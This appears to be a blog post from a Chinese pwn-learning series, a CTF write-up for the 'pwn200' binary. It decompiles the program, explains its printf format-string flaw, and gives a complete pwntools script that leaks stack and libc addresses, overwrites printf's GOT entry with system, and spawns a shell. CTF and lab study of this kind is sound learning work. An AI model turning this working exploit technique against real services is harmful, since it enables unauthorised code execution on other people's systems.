Pwn学习总结(12):格式化字符串漏洞 pwn200

实验平台:

x86_64, Ubuntu 18.04.5 LTS, Kernel 4.15.0-156-generic
glibc 2.27-3ubuntu1.4, libc6-i386-2.27-3ubuntu1.4

实验Binary及答案:

https://github.com/bjrjk/pwn-learning/tree/main/FormatString/pwn200

checksec pwne

    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)

很好,没开PIE。用IDA反编译:

int __cdecl main()
{
  setbuf(stdin, 0);
  setbuf(stdout, 0);
  setbuf(stderr, 0);
  core_main();
  return 0;
}
unsigned int core_main()
{
  char v1; // [esp+1Bh] [ebp-4Dh]
  char buf[64]; // [esp+1Ch] [ebp-4Ch] BYREF
  unsigned int v3; // [esp+5Ch] [ebp-Ch]

  v3 = __readgsdword(0x14u);
  memset(buf, 0, sizeof(buf));
  while ( 1 )
  {
    puts("WANT PLAY[Y/N]");
    if ( getchar() != 'Y' )
      break;
    v1 = getchar();
    while ( v1 != '\n' && v1 )
      ;
    puts("GET YOUR NAME:\n");
    read(0, buf, 0x40u);
    LOBYTE(v3) = 0;
    puts("WELCOME ");
    printf(buf);
    puts("GET YOUR AGE:\n");
    read(0, buf, 64u);
    if ( atoi(buf) > 60 )
      puts("OLD MEN!\n");
  }
  return __readgsdword(0x14u) ^ v3;
}

发现有格式化字符串漏洞。还是那一套,泄漏libc基址,上system。
但是这里面没有缓冲区溢出,要想通过格式化字符串漏洞改,就得知道栈的地址。虽然没开PIE,但是栈的地址也是会随机化的。
经过GDB调试发现用%pprintf输出的就是格式化字符串的地址,这样栈的地址就知道了。其他的就非常普通简单了,思路在前面的文章中都教学过。可参见代码。

answer.py

#!/usr/bin/env python2
from pwn import *
from LibcSearcher import *
from struct import pack
import os, base64, math
context(arch = "i386",os = "linux", log_level = "debug")

p = process('./pwne')
elf = ELF('./pwne')

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
p.sendline("%p\n\x00")
p.recvuntil("WELCOME \n")
buf_shift = int(p.recvuntil("\n"), 16)
ret_addr = buf_shift + 0x50
p.sendline("10")

puts_got = elf.got['puts']
puts_plt = elf.plt['puts']
printf_got = elf.got['printf']
main_sym = 0x80485CD

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, 
    {
        ret_addr: puts_plt
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, 
    {
        ret_addr + 4: main_sym
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, 
    {
        ret_addr + 8: puts_got
    }
)
p.sendline(payload)
p.recvuntil("WELCOME \n")
p.sendline("10")

p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("NY")
puts_libc = u32(p.recv(4))
print(hex(puts_libc))

libc = LibcSearcher('puts', puts_libc)
libc_base = puts_libc - libc.dump('puts')
print("base libc: %s" % hex(libc_base))
system_libc = libc_base + libc.dump('system')
print("system libc: %s" % hex(system_libc))

p.recvuntil("GET YOUR NAME:\n\n")
payload = fmtstr_payload(7, {printf_got: system_libc})
p.sendline(payload)
p.sendline("10")
p.recvuntil("WANT PLAY[Y/N]\n")
p.sendline("Y")
p.sendline("/bin/sh")
p.interactive()

Getshell成功:

参考资料:
[1] https://blog.csdn.net/niexinming/article/details/78699413

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注